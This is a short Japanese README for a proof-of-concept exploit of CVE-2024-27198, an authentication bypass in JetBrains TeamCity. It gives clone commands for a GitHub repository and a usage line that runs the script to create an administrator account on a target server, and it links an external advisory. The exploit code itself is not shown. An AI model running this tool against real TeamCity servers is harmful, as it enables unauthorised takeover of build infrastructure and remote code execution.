CVE-2024-27198

JetBrains TeamCity 2023.11.4 より前のバージョンでは、認証バイパスにより TeamCity サーバー上で管理操作を実行できます。攻撃者はすべての TeamCity プロジェクト、ビルド、エージェント、成果物を完全に制御でき、最終的には RCE を実行します。

ダウンロード

git clone https://github.com/jrbH4CK/CVE-2024-27198.git
cd CVE-2024-27198

PoC

サーバー内に管理者権限を持つアカウントを作成するには:

python3 cve-2024-27198.py http://example.com username password

デモ:

アカウント作成

ユーザーロール

補足

• この脆弱性の説明は https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ にあります。